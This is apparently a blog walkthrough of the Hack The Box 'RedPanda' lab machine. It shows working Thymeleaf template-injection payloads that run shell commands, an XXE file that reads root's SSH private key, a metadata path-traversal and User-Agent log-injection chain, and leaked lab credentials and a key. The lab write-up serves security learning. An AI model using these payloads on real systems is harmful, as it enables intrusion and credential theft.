Home RedPanda writeup
Post
Cancel
Preview Image

RedPanda writeup

Summary

This was actually a pretty tricky box. It starts out with thymeleaf template injection, and ends with a slightly complicated XXE attack to gain root access. Let’s take a look!

Foothold

We start out by doing an nmap port scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-20 16:42 CEST
Nmap scan report for 10.129.69.48
Host is up (0.023s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp open  http-proxy
---SNIP---
|_http-title: Red Panda Search | Made with Spring Boot
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.98 seconds

The host has two ports open, 22 and 8080, the second being a web application written in Spring Boot.

There is a search functionality, and if we try to seach for ${env:PWD} we get told our query contains banned characters. On further analysis, it seems that it is the $ charachter that is banned.

There is also an author page where you can export the authors pandas as an xml file.

This does not really lead to anything as far as I”m aware however. If we go back to the search functionality, we can actually achieve SSTI. The $ character is banned, however * is not. Since the application is written using Spring Boot, I assume that the application uses thymeleaf. In thymeleaf, the expression ${...} is a variable expression while *{...} is a selection expression. While they have different functionality, both can be used to execute code.

After messing about for a bit, we find that the injection

1
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}

returns the output of the id command.

We can also use this technique to read the user flag with the command *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cat /home/woodenk/user.txt").getInputStream())}

I also found that the /opt directory contained the application directory for panda_search, however since the _ charachter is blacklisted I could not directly read it. Instead i used *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("find /opt -name *").getInputStream())}, which uses find to list everything in the /opt directory, including subdirectories and files. I found that the applications controller was in the opt directory, nested in a lot of subdirectories, however to actually read the file I did some weird bash stuff again since I did not want to deal with smuggling in the _ character. Instead I injected *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("grep -r -v fqwefwe /opt").getInputStream())}. This comands greps all files recursively in the /opt dir for strings not matching fqwefwe. This includes all lines in the controller, found below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
package com.panda_search.htb.panda_search;

import java.util.ArrayList;
import java.io.IOException;
import java.sql.*;
import java.util.List;
import java.util.ArrayList;
import java.io.File;
import java.io.InputStream;
import java.io.FileInputStream;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.http.MediaType;

import org.apache.commons.io.IOUtils;

import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
import org.jdom2.output.Format;
import org.jdom2.output.XMLOutputter;
import org.jdom2.*;

@Controller
public class MainController {
  @GetMapping("/stats")
    public ModelAndView stats(@RequestParam(name="author",required=false) String author, Model model) throws JDOMException, IOException{
    SAXBuilder saxBuilder = new SAXBuilder();
    if(author == null)
    author = "N/A";
    author = author.strip();
    System.out.println(""+ author "");
    if(author.equals("woodenk") || author.equals("damian"))
    {
      String path = "/credits/" + author + "_creds.xml";
      File fd = new File(path);
      Document doc = saxBuilder.build(fd);
      Element rootElement = doc.getRootElement();
      String totalviews = rootElement.getChildText("totalviews");
            List<Element> images = rootElement.getChildren("image");
      for(Element image: images)
        System.out.println(image.getChildText("uri"));
      model.addAttribute("noAuthor", false);
      model.addAttribute("author", author);
      model.addAttribute("totalviews", totalviews);
      model.addAttribute("images", images);
      return new ModelAndView("stats.html");
    }
    else
    {
      model.addAttribute("noAuthor", true);
      return new ModelAndView("stats.html");
    }
  }
  @GetMapping(value="/export.xml", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)
  public @ResponseBody byte[] exportXML(@RequestParam(name="author", defaultValue="err") String author) throws IOException {

    System.out.println("Exporting xml of: " + author);
    if(author.equals("woodenk") || author.equals("damian"))
    {
      InputStream in = new FileInputStream("/credits/" + author + "_creds.xml");
      System.out.println(in);
      return IOUtils.toByteArray(in);
    }
    else
    {
      return IOUtils.toByteArray("Error, incorrect paramenter 'author'\n\r");
    }
  }
  @PostMapping("/search")
  public ModelAndView search(@RequestParam("name") String name, Model model) {
  if(name.isEmpty())
  {
    name = "Greg";
  }
        String query = filter(name);
  ArrayList pandas = searchPanda(query);
        System.out.println("\n\""+query+"\"\n");
        model.addAttribute("query", query);
  model.addAttribute("pandas", pandas);
  model.addAttribute("n", pandas.size());
  return new ModelAndView("search.html");
  }
  public String filter(String arg) {
        String[] no_no_words = {"%", "_","$", "~", };
        for (String word : no_no_words) {
            if(arg.contains(word)){
                return "Error occured: banned characters";
            }
        }
        return arg;
    }
    public ArrayList searchPanda(String query) {

        Connection conn = null;
        PreparedStatement stmt = null;
        ArrayList<ArrayList> pandas = new ArrayList();
        try {
            Class.forName("com.mysql.cj.jdbc.Driver");
            conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");
            stmt = conn.prepareStatement("SELECT name, bio, imgloc, author FROM pandas WHERE name LIKE ?");
            stmt.setString(1, "%" + query + "%");
            ResultSet rs = stmt.executeQuery();
            while(rs.next()){
                ArrayList<String> panda = new ArrayList<String>();
                panda.add(rs.getString("name"));
                panda.add(rs.getString("bio"));
                panda.add(rs.getString("imgloc"));
    panda.add(rs.getString("author"));
                pandas.add(panda);
            }
        }catch(Exception e){ System.out.println(e);}
        return pandas;
    }
}

As can be seen, the controller makes a connection to a mysql database with the credentials: woodenk:RedPandazRule. We can use these to login as woodenk via SSH.

Privilege escalation

The woodenk user cannot run sudo on the machine, so instead we start out by transferring pspy64 to the machine and running it. It seems that root is running a cleanup script ass our user:

1
2
3
4
5
6
7
8
2022/07/20 16:25:01 CMD: UID=0    PID=2993   | sudo -u woodenk /opt/cleanup.sh 
2022/07/20 16:25:01 CMD: UID=1000 PID=2994   | /bin/bash /opt/cleanup.sh 
2022/07/20 16:25:01 CMD: UID=1000 PID=2995   | /usr/bin/find /tmp -name *.xml -exec rm -rf {} ; 
2022/07/20 16:25:01 CMD: UID=1000 PID=2997   | /bin/bash /opt/cleanup.sh 
2022/07/20 16:25:01 CMD: UID=1000 PID=2998   | /usr/bin/find /home/woodenk -name *.xml -exec rm -rf {} ; 
2022/07/20 16:25:01 CMD: UID=1000 PID=3001   | /usr/bin/find /tmp -name *.jpg -exec rm -rf {} ; 
2022/07/20 16:25:01 CMD: UID=1000 PID=3002   | /usr/bin/find /var/tmp -name *.jpg -exec rm -rf {} ; 
2022/07/20 16:25:01 CMD: UID=1000 PID=3004   | /usr/bin/find /home/woodenk -name *.jpg -exec rm -rf {} ; 

As we can see, the script removes xml and jpg files in various directories.

Based on the controller, we can conclude that the application exports the requested xml file when the author argument is either woodenk or damian. Also, the application takes the xml file from the following location: ` InputStream in = new FileInputStream(“/credits/” + author + “_creds.xml”);`

If we take a look at the logParser application also present on the system, it seems that all the images of the author get their metadata parsed:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
public class App {
    public static Map parseLog(String line) {
        String[] strings = line.split("\\|\\|");
        Map map = new HashMap<>();
        map.put("status_code", Integer.parseInt(strings[0]));
        map.put("ip", strings[1]);
        map.put("user_agent", strings[2]);
        map.put("uri", strings[3]);
        

        return map;
    }
    public static boolean isImage(String filename){
        if(filename.contains(".jpg"))
        {
            return true;
        }
        return false;
    }
    public static String getArtist(String uri) throws IOException, JpegProcessingException
    {
        String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
        File jpgFile = new File(fullpath);
        Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
        for(Directory dir : metadata.getDirectories())
        {
            for(Tag tag : dir.getTags())
            {
                if(tag.getTagName() == "Artist")
                {
                    return tag.getDescription();
                }
            }
        }

        return "N/A";
    }
    public static void addViewTo(String path, String uri) throws JDOMException, IOException
    {
        SAXBuilder saxBuilder = new SAXBuilder();
        XMLOutputter xmlOutput = new XMLOutputter();
        xmlOutput.setFormat(Format.getPrettyFormat());

        File fd = new File(path);
        
        Document doc = saxBuilder.build(fd);
        
        Element rootElement = doc.getRootElement();
 
        for(Element el: rootElement.getChildren())
        {
    
            
            if(el.getName() == "image")
            {
                if(el.getChild("uri").getText().equals(uri))
                {
                    Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
                    System.out.println("Total views:" + Integer.toString(totalviews));
                    rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
                    Integer views = Integer.parseInt(el.getChild("views").getText());
                    el.getChild("views").setText(Integer.toString(views + 1));
                }
            }
        }
        BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
        xmlOutput.output(doc, writer);
    }
    public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
        File log_fd = new File("/opt/panda_search/redpanda.log");
        Scanner log_reader = new Scanner(log_fd);
        while(log_reader.hasNextLine())
        {
            String line = log_reader.nextLine();
            if(!isImage(line))
            {
                continue;
            }
            Map parsed_data = parseLog(line);
            System.out.println(parsed_data.get("uri"));
            String artist = getArtist(parsed_data.get("uri").toString());
            System.out.println("Artist: " + artist);
            String xmlPath = "/credits/" + artist + "_creds.xml";
            addViewTo(xmlPath, parsed_data.get("uri").toString());
        }

    }
}

Create an xml file that looks like the following. This is an xxe attack that loads the content of roots ssh key into our xml file.

1
2
3
4
5
6
7
8
9
10
11
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY file SYSTEM "file:///root/.ssh/id_rsa"> ]>
<credits>
  <author>damian</author>
  <image>
    <uri>/../../../../../../../home/woodenk/cat.jpg</uri>
    <ssh>&file;</ssh>
    <views>0</views>
  </image>
  <totalviews>0</totalviews>
</credits>

We then find a random image on the internet, add the metadata field Artist via exiftool:

1
2
3
┌──(bitis㉿workstation)-[~/Downloads]
└─$ exiftool -Artist="../home/woodenk/tmp" cat.jpeg 
    1 image files updated

We can then curl the site with a custom user-agent which will point towards this image.

curl http://10.129.69.48:8080 -H "User-Agent: ||/../../../../../../../home/woodenk/cat.jpg"

The image will then be loaded, the artist field will then point towards our malicious xml file, which will then load in the ssh key of root:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
woodenk@redpanda:~$ cat tmp_creds.xml 
<?xml version="1.0" encoding="UTF-8"?>
<!--?xml version="1.0" ?-->
<!DOCTYPE replace>
<credits>
  <author>damian</author>
  <image>
    <uri>/../../../../../../../home/woodenk/cat.jpg</uri>
    <ssh>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----</ssh>
    <views>6</views>
  </image>
  <totalviews>6</totalviews>
</credits>

We can now login as root via the ssh key. Rooted!

This post is licensed under CC BY 4.0 by the author.